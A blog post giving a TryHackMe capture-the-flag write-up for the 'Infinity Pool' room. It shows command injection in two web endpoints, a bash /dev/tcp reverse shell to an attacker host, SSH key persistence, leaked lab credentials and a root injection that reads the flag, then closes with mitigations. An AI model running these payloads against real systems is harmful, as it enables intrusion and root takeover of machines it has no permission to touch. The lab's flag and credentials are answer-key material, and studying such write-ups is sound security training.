DEV Community

Cover image for TryHackMe : Infinity Pool Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Infinity Pool Writeup

Summary

Recon on <MACHINE_IP> revealed a Gunicorn-hosted "Byte Lotus" hotel site with two paths disallowed in robots.txt - /internal/ and /status. The /status page exposes an internal staff tool ("Sister-property connectivity") that POSTs a host parameter to /internal/netcheck, which shells out to ping without sanitizing input. This allowed OS command injection as the web user, leading to an initial foothold and the user flag.

From there, an internal-only "Watchtower" ops console (127.0.0.1:3000) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard (via SSH port forwarding, since curl-based login kept looping) and adding a voicemail widget exposed an "Automation Key" bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (127.0.0.1:9000), whose /jobs/export endpoint built a shell command from an unsanitized report parameter - a second command injection, this time as root, yielding the root flag.

Recon

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
Nmap scan report for <MACHINE_IP>
Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_  256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
|_http-title: Byte Lotus &mdash; Stay Noticed
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   37.96 ms 192.168.128.1
2   ...
3   38.68 ms <MACHINE_IP>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds
Enter fullscreen mode Exit fullscreen mode

Two open ports: SSH (22) and HTTP (80, Gunicorn). OS guesses (Crestron/embedded) are noise from the unreliable OS scan and can be disregarded.

robots.txt disclosed two hidden paths:

User-agent: *
Disallow: /internal/
Disallow: /status
Enter fullscreen mode Exit fullscreen mode

/static/app.js contained a developer comment leaking the internal endpoint behind /status:

// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
Enter fullscreen mode Exit fullscreen mode

/internal/ (GET) returned 404 directly, but /status (GET) rendered a form:

<form method="post" action="/internal/netcheck" class="tool">
  <input type="text" name="host" value="" placeholder="property host e.g. 10.0.0.5" autofocus>
  <button type="submit">Check</button>
</form>
Enter fullscreen mode Exit fullscreen mode

dirsearch against the root found nothing further of interest.

Vulnerability - OS Command Injection in /internal/netcheck

The host field is passed unsanitized into a shell command (almost certainly ping <host> under the hood, given the trailing ping: usage error output on every request). Standard ;-separated command chaining worked immediately:

curl -X POST http://<MACHINE_IP>/internal/netcheck -d 'host=;id'
Enter fullscreen mode Exit fullscreen mode

Response body embedded in the <pre class="out"> block:

uid=1001(web) gid=1001(web) groups=1001(web)
ping: usage error: Destination address required
Enter fullscreen mode Exit fullscreen mode

Confirmed further with whoami and which bash:

web
/usr/bin/bash
Enter fullscreen mode Exit fullscreen mode

Getting the reverse shell to fire

First attempts with curl -d failed - unescaped & in the /dev/tcp redirect payload was interpreted by curl as a form-field separator, truncating the command before it ever reached the server (visible in the reflected value= attribute, which showed the string cut off after bash -i). Switching to --data-urlencode fixed the encoding:

penelope -p 4444 listen
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>/internal/netcheck \
  --data-urlencode "host=;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
Enter fullscreen mode Exit fullscreen mode

This curl call returned Request timed out. - expected, not a failure, since the reverse shell never sends an HTTP response back to close the request. The payload had already fired in the background and connected out to the listener. Session landed as web, with penelope auto-upgrading the shell to a PTY via its own python3-based upgrade mechanism (unrelated to the injected payload itself):

[+] [New Reverse Shell] => tryhackme-2404 <MACHINE_IP> Linux-x86_64 web(1001) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
Enter fullscreen mode Exit fullscreen mode

Root cause confirmed in source

Once shell access was gained, /var/www/infinity_pool/edge/app.py confirmed the vulnerability - the host form value is interpolated straight into an f-string and run with shell=True:

@app.route("/internal/netcheck", methods=["POST"])
def netcheck():
    host = request.form.get("host", "").strip()
    if not host:
        return render_template("status.html", host="", output="No host supplied.")
    try:
        proc = subprocess.run(
            f"ping -c 1 {host}",
            shell=True,
            capture_output=True,
            text=True,
            timeout=15,
        )
        output = proc.stdout + proc.stderr
    except subprocess.TimeoutExpired:
        output = "Request timed out."
    return render_template("status.html", host=host, output=output)
Enter fullscreen mode Exit fullscreen mode

Foothold - User Flag

web@tryhackme-2404:/var/www/infinity_pool/edge$ id
uid=1001(web) gid=1001(web) groups=1001(web)
web@tryhackme-2404:/var/www/infinity_pool/edge$ cat /home/web/user.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

App is served out of /var/www/infinity_pool/edge.

Privilege Escalation

Enumeration as web

  • sudo -l requires a password web doesn't have:
  sudo: a password is required
Enter fullscreen mode Exit fullscreen mode
  • /home/ubuntu is locked down - .Xauthority and .bash_history both return permission denied.
  • No unusual SUID binaries outside standard snap-core noise and system defaults (find / -perm -4000 2>/dev/null).
  • ss -tulnp showed a handful of loopback-only listeners beyond the public app on 80 - but at this stage that's all it was, just open ports with no names attached:
  127.0.0.1:9000
  127.0.0.1:5038   (matches Asterisk AMI's default port)
  127.0.0.1:3000
  127.0.0.1:8080
  127.0.0.1:8088
  127.0.0.1:8089
  127.0.0.1:3306   (MySQL/MariaDB)
  0.0.0.0:22       ssh
  0.0.0.0:80       gunicorn
Enter fullscreen mode Exit fullscreen mode

5038 and 3306 were recognizable from their well-known defaults, but 3000, 8080, 8088, 8089, and 9000 were all unknowns at this point - just doors with no labels on them.

  • ps aux is what actually identified them. It showed a var/www tree called infinity_pool with three separate Python/gunicorn processes, each running as a different user:
  web          665  /var/www/infinity_pool/edge/venv/bin/python3 ... gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
  root         664  /var/www/infinity_pool/automation/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
  svc-watch    666  /var/www/infinity_pool/watchtower/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app
Enter fullscreen mode Exit fullscreen mode

That's where the port-to-service mapping actually came from: edge (the app already owned, running as web) is bound to 80; a separate watchtower process runs as its own svc-watch user on 3000; and automation runs as root on 9000 - the first real sign of something worth escalating toward. ss alone never suggested any of that; it took reading the process list to connect ports to services and owners. (8080, 8088, and 8089 turned out later to be Apache/FreePBX and Asterisk's HTTP/ARI interfaces respectively - that only became clear once UCP was reached directly through 8080; ps aux didn't tie those ports to Apache as cleanly at this stage.)

/etc/systemd/system/cc-automation.service confirmed the important detail - the automation service on port 9000 runs as root:

[Unit]
Description=Closed Circuit - Automation job runner (loopback, root)

[Service]
User=root
Group=root
WorkingDirectory=/var/www/infinity_pool/automation
EnvironmentFile=/var/www/infinity_pool/automation/automation.env
ExecStart=/var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
Enter fullscreen mode Exit fullscreen mode

automation.env itself was unreadable as web (permission denied), so the automation Bearer key had to come from somewhere else.

Credential leak via Watchtower

curl http://localhost:3000/api/config (the "Watchtower - ops console" service) returned FreePBX UCP credentials in plaintext, explicitly flagged by an internal ops note as not yet rotated:

{"automation_endpoint":"http://127.0.0.1:9000",
 "note":"internal network only -- do not expose",
 "ops_note":"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
 "telephony_pass":"St4yN0t1c3d_2026",
 "telephony_portal":"http://127.0.0.1:8080/ucp",
 "telephony_user":"FreePBXUCPTemplateCreator"}
Enter fullscreen mode Exit fullscreen mode

curl http://localhost:9000/health confirmed the automation service's shape and that it runs as root:

{"endpoints":{"GET /health":"service status",
 "POST /jobs/export":{"auth":"Authorization: Bearer <automation key>",
 "body":{"report":"<report name>"},
 "desc":"archive the latest data export"}},
 "runs_as":"root","service":"automation","status":"ok"}
Enter fullscreen mode Exit fullscreen mode

Trying the leaked UCP creds directly against Asterisk AMI (5038) failed - wrong service:

timeout 5 bash -c '(echo -e "Action: Login\r\nUsername: FreePBXUCPTemplateCreator\r\nSecret: St4yN0t1c3d_2026\r\n\r\n"; sleep 2) | nc 127.0.0.1 5038'
Asterisk Call Manager/9.0.0
Response: Error
Message: Authentication failed
Enter fullscreen mode Exit fullscreen mode

Getting into the UCP dashboard

curl-based scripted logins against http://127.0.0.1:8080/ucp/ (grabbing the CSRF token from the login form, then POSTing token/username/password) technically returned HTTP 200 each time but never actually authenticated - the response kept showing an empty <h3>Welcome </h3> and a fresh, unused login form, and later attempts just hung/timed out entirely. The UCP login flow depends on client-side JS/AJAX behavior that plain curl POSTs don't reproduce.

Fix: add an SSH public key to web's authorized_keys (writable as web) and SSH in directly, then forward the internal port out to a real browser instead of fighting curl:

echo 'ssh-ed25519 AAAA...<REDACTED>... kali@kali' >> ~/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode
ssh -L 8080:127.0.0.1:8080 web@<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode

Browsing to http://127.0.0.1:8080/ucp/ and logging in with FreePBXUCPTemplateCreator / St4yN0t1c3d_2026 worked immediately through the browser.

Leaking the automation key through a voicemail CID

Inside UCP, adding a new dashboard tab and a Voicemail widget for the FreePBXUCPTemplateCreator mailbox surfaced a single voicemail whose Caller ID field had leaked the automation service's Bearer token:

Voicemail entry - Tue, Jun 30, 2026 9:31 AM - CID: "Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000> (extension 9000 lines up with the automation service's port)

This is an internal misconfiguration - a caller-ID/name lookup process appears to have templated the automation key straight into the CID name field for calls involving extension 9000, and that field is fully visible to anyone with UCP voicemail access.

Root via second command injection (automation service)

With the key in hand, /jobs/export behaved like the earlier netcheck endpoint - the report field gets built into a shell command (tar czf /var/automation/exports/<report>.tgz /var/automation/data ...) without sanitization, and it runs as root. Breaking out with ; and closing the rest of the line with #:

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'
Enter fullscreen mode Exit fullscreen mode
{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; id #.tgz /var/automation/data 2>&1",
 "output":"uid=0(root) gid=0(root) groups=0(root)\ntar: Removing leading `/' from member names\n"}
Enter fullscreen mode Exit fullscreen mode

Confirmed root, then read the flag directly:

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'
Enter fullscreen mode Exit fullscreen mode
{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; cat /root/root.txt #.tgz /var/automation/data 2>&1",
 "output":"THM{tr4c3d_t0_th3_h0r1z0n}\ntar: Removing leading `/' from member names\n"}
Enter fullscreen mode Exit fullscreen mode

Root Flag

THM{tr4c3d_t0_th3_h0r1z0n}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Information disclosure via robots.txt + JS comment /robots.txt, /static/app.js Revealed hidden internal staff endpoint
2 OS command injection (unsanitized host param, shell=True + f-string) POST /internal/netcheck RCE as web (uid 1001)
3 Plaintext credential disclosure via internal API GET /api/config on Watchtower (127.0.0.1:3000) Leaked live FreePBX UCP credentials, explicitly noted as unrotated
4 Sensitive token leaked into an unrelated UI field (caller ID) UCP voicemail Caller ID, extension 9000 Leaked automation service Bearer token
5 OS command injection (unsanitized report param, root-run service) POST /jobs/export on automation service (127.0.0.1:9000) RCE as root

Attack Chain

[robots.txt disallow] --> [/status leaks /internal/netcheck endpoint]
        |
        v
[POST host=;<cmd> to /internal/netcheck] --> [OS command injection as web]
        |
        v
[bash /dev/tcp reverse shell] --> [foothold as web (uid=1001)]
        |
        v
[user.txt captured]
        |
        v
[ss -tulnp: unlabeled internal ports] --> [ps aux: identifies edge/watchtower/automation + owners]
        |
        v
[GET /api/config on Watchtower (127.0.0.1:3000)] --> [leaked FreePBX UCP creds]
        |
        v
[SSH key added to web's authorized_keys] --> [SSH port-forward 8080 to real browser]
        |
        v
[Login to UCP, add Voicemail widget] --> [Automation Key leaked in voicemail CID]
        |
        v
[POST report=;<cmd># to /jobs/export with Bearer key] --> [OS command injection as root]
        |
        v
[root.txt captured]
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Never pass user-supplied input directly into a shell command; use a subprocess call with argument lists (no shell=True) and validate input against a strict allowlist. Both /internal/netcheck (host) and /jobs/export (report) need this fix.
  • Remove reliance on robots.txt and client-side JS comments to "hide" internal tooling - enforce authentication/network-level restriction (VPN, IP allowlist, or auth gateway as the code comment itself suggests was planned).
  • Never return credentials in plaintext from an internal "status/config" API, even on a loopback-only service - internal-only does not mean untrusted-process-proof once any foothold exists on the host.
  • Rotate default/template credentials (the app's own ops note flagged this and it was never acted on) and avoid shipping template accounts with static, reused passwords.
  • Do not template secrets (like the automation Bearer key) into user-visible fields such as caller ID / display name - secrets belong in dedicated secret storage, not in fields designed for human-readable display data.
  • Run internal automation services with least privilege - the /jobs/export service should not run as root; a dedicated low-privilege service account with only the file/archive permissions it needs would have contained this to a much smaller blast radius.

Top comments (0)